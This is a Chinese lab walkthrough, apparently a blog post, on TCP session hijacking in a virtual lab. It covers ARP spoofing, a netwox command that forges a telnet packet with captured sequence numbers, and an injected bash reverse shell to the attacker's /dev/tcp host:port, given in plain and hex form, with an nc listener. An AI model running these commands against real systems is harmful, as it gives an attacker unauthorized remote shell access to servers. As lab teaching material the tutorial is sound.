网络安全&TCP劫持实现反弹shell✍

网络安全&TCP劫持实现反弹shell✍_第1张图片

TCP劫持实现反弹shell

    • 实验环境:
    • TCP劫持
    • 反弹shell
      • 反弹shell的原理:
        • 1. 关于反弹shell
        • 2. 反弹shell的原因
    • 实验过程
      • 1.获取数据包
      • 2.模拟产生TCP会话
      • 3.在kali上抓取数据包
      • 4.利用netwox工具伪造包
        • 配置示例:
          • 反射shell语句
            • 字符转换
      • 5.开启端口监视
      • 6.攻击

实验环境:

1.kali linux ;kali linux 介绍

kali linux 的安装过程及解决问题方法

2.ubuntu虚拟机 两台 //其他的如Redhat 、centos也可以

TCP劫持

TCP劫持的前提是需要获取到通信双方的TCP流量的数据包。

如果不知道数据包的情况下,会形成ack风暴;
形成ACK风暴的原因:

ack风暴(storm)。当会话双方接收到一个不期望的数据包后,就会用自己期望的序列号返回ack包;而在另一端,这个数据包也不是所期望的,就会再次以自己期望的序列号返回ACK包,于是 来回往返 形成了恶性循环,最终导致ACK风暴。

解决方法:

先进行ARP欺骗或MAC洪泛攻击 使得双方的数据包正常的发送到攻击者这里,然后设置包转发

TCP劫持攻击原理描述如下图描述所示:

网络安全&TCP劫持实现反弹shell✍_第2张图片
为了进一步达到攻击服务器后的其他效果 可以使用反弹shell结合TCP会话劫持来达到目的

反弹shell

反弹shell的原理:

1. 关于反弹shell

就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

2. 反弹shell的原因

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1)某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2)它的ip会动态改变,你不能持续控制。
3)由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4)对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。

  **那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。**

在以下的场景中可以使用TCP会话劫持和反弹shell达到攻击数据sever的目的。
网络安全&TCP劫持实现反弹shell✍_第3张图片

实现概述:反向shell的注入 就是在TCP劫持攻击的时候将数据换成反向shell的命令;如上图中利用通过会话劫持 取得server和数据server的会话 向数据server 发送给修改后的反向shell数据包,从而使得数据server主动向攻击者建立连接 从而实现破坏

实验过程

模拟过程中: kali 地址为192.168.247.128;服务器为192.168.247.130;数据服务器为:192.168.247.130

1.获取数据包

利用ARP欺骗攻击来使得获取通信双方数据包
ARP欺骗攻击点击查看

2.模拟产生TCP会话

地址 130 telnet 129
网络安全&TCP劫持实现反弹shell✍_第4张图片

3.在kali上抓取数据包

网络安全&TCP劫持实现反弹shell✍_第5张图片
找到数据server给server的最后一个回包

4.利用netwox工具伪造包

网络安全&TCP劫持实现反弹shell✍_第6张图片
网络安全&TCP劫持实现反弹shell✍_第7张图片
网络安全&TCP劫持实现反弹shell✍_第8张图片
网络安全&TCP劫持实现反弹shell✍_第9张图片
Usage: netwox 40 [-c uint32] [-e uint32] [-f|+f] [-g|+g] [-h|+h] [-i uint32] [-j uint32] [-k uint32] [-l ip] [-m ip] [-n ip4opts] [-o port] [-p port] [-q uint32] [-r uint32] [-s|+s] [-t|+t] [-u|+u] [-v|+v] [-w|+w] [-x|+x] [-y|+y] [-z|+z] [-A|+A] [-B|+B] [-C|+C] [-D|+D] [-E uint32] [-F uint32] [-G tcpopts] [-H mixed_data] [-a spoofip] [-J uint32] [-K uint32] [-L uint32] [-M uint32] [-N uint32]
Parameters:
-c|–ip4-tos uint32 IP4 tos {0}
-e|–ip4-id uint32 IP4 id (rand if unset) {0}
-f|–ip4-reserved|+f|–no-ip4-reserved IP4 reserved
-g|–ip4-dontfrag|+g|–no-ip4-dontfrag IP4 dontfrag
-h|–ip4-morefrag|+h|–no-ip4-morefrag IP4 morefrag
-i|–ip4-offsetfrag uint32 IP4 offsetfrag {0} //ipv4是否存在片偏移
-j|–ip4-ttl uint32 IP4 ttl {0} //TTL值
-k|–ip4-protocol uint32 IP4 protocol {0} //TCP协议号
-l|–ip4-src ip IP4 src {192.168.149.128}
-m|–ip4-dst ip IP4 dst {5.6.7.8}
-n|–ip4-opt ip4opts IPv4 options
-o|–tcp-src port TCP src {1234}
-p|–tcp-dst port TCP dst {80}
-q|–tcp-seqnum uint32 TCP seqnum (rand if unset) {0}
-r|–tcp-acknum uint32 TCP acknum {0}
-s|–tcp-reserved1|+s|–no-tcp-reserved1 TCP reserved1
-t|–tcp-reserved2|+t|–no-tcp-reserved2 TCP reserved2
-u|–tcp-reserved3|+u|–no-tcp-reserved3 TCP reserved3
-v|–tcp-reserved4|+v|–no-tcp-reserved4 TCP reserved4
-w|–tcp-cwr|+w|–no-tcp-cwr TCP cwr
-x|–tcp-ece|+x|–no-tcp-ece TCP ece
-y|–tcp-urg|+y|–no-tcp-urg TCP urg
-z|–tcp-ack|+z|–no-tcp-ack TCP ack
-A|–tcp-psh|+A|–no-tcp-psh TCP psh
-B|–tcp-rst|+B|–no-tcp-rst TCP rst
-C|–tcp-syn|+C|–no-tcp-syn TCP syn
-D|–tcp-fin|+D|–no-tcp-fin TCP fin
-E|–tcp-window uint32 TCP window {0}
-F|–tcp-urgptr uint32 TCP urgptr {0}
-G|–tcp-opt tcpopts TCP options
-H|–tcp-data mixed_data mixed data
-a|–spoofip spoofip IP spoof initialization type {best}
-J|–ip4-ihl uint32 IP4 ihl {5}
-K|–ip4-totlen uint32 IP4 totlen {0}
-L|–ip4-checksum uint32 IP4 checksum {0}
-M|–tcp-doff uint32 TCP data offset {0}
-N|–tcp-checksum uint32 TCP checksum {0}

配置示例:

如果配置 --ip4-opt opition 后边需要配置参数

sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src IP地址  --ip4-dst 
IP地址  --tcp-src 源端口 --tcp-dst 目的端口 --tcp-seqnum 数值   --tcp-acknum 数值
 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data "注入代码" 

根据最后一个数据包进行伪造数据包
网络安全&TCP劫持实现反弹shell✍_第10张图片
则根据实验数据:

sudo netwox 40  --ip4-ttl  64  --ip4-protocol  6  --ip4-src 192.168.247.130  --ip4-dst 192.168.247.129  --tcp-src  60140  --tcp-dst  23  --tcp-seqnum  2318468613   --tcp-acknum  3285041215   --tcp-ack  --tcp-psh --tcp-window 227 --tcp-data “代码”
反射shell语句

其中代码为反射shell的语句:

bash -i>&/dev/tcp/192.168.247.128/8888 0>&1
其中192.168.247.128为kali的IP地址

bash -i>&/dev/tcp/192.168.247.128/8888 0>&1

  1. Bash –i  即产生一个bash交互环境

  2. >&      

     1)当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件

     2)当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

  3. /dev/tcp/192.168.247.128/8888  让数据server与kali主机进行tcp连接,端口为8888(注:linux下所有内容都以文件形式组织存在,所以看到/dev/tcp不用感到奇怪,它是Linux中的一个特殊设备,打开这个文件就相当于进行了一个socket调用,建立一个socket连接)

  >& 后面接 /dev/tcp/ip/port,根据3的注释和2的注释1)部分可知,意思为将标准输出和标准错误输出重定向到这个文件,重定向到socket连接的kali主机上,此时如果kali主机正在监听相应的端口,就会收到数据server的bash的标准输出和标准错误输出

  4. 0>&1 将标准输入重定向到标准输出,而标准输出在之前已经重定向到kali主机了,添加这一部分是因为如果没有这一部分,在kali主机上只能接收输出,而无法输入,或者说无法交互,添加上这一部分后,在kali主机看来,就相当于拿到了数据server的shell
注:   0 - stdin 代表标准输入,使用<或<<

      1 - stdout 代表标准输出,使用>或>>

      2 - stderr 代表标准错误输出,使用2>或2>>)

想了解反弹shell语句的内容可以点击蓝字:
网络安全&反弹shell✍

字符转换

字符在线转换为16进制

则最后的攻击语句为:

62617368202D693E262F6465762F7463702F3139322E3136382E3234372E3132382F3838383820303E26310d00
//攻击代码转换后的16机制值,0d00是后添加的0d \r 为回到首行 00 是\n 为换行

sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src
192.168.247.130 --ip4-dst 192.168.247.129 --tcp-src 60140 --tcp-dst 23 --tcp-seqnum 2318468613 --tcp-acknum 3285041215 --tcp-ack --tcp-psh --tcp-window 227 --tcp-data 62617368202D693E262F6465762F7463702F3139322E3136382E3234372E3132382F3838383820303E26310d00

5.开启端口监视

就是在攻击者的主机上进行监视反弹shell中的端口

 nc -lp 8888 -vvv

-l 进入监听模式
-v 进入"啰嗦模式",这将会显示很多有用的信息。使用多个(-vv,-vvv…)进入更"啰嗦"的模式。
-p 设置要绑定的端口号

更多关于nc工具的使用 可以参考下边文献:
NC工具的使用

6.攻击

网络安全&TCP劫持实现反弹shell✍_第11张图片
网络安全&TCP劫持实现反弹shell✍_第12张图片
反射shell 模拟成功。

你可能感兴趣的:(网络安全&✍✍)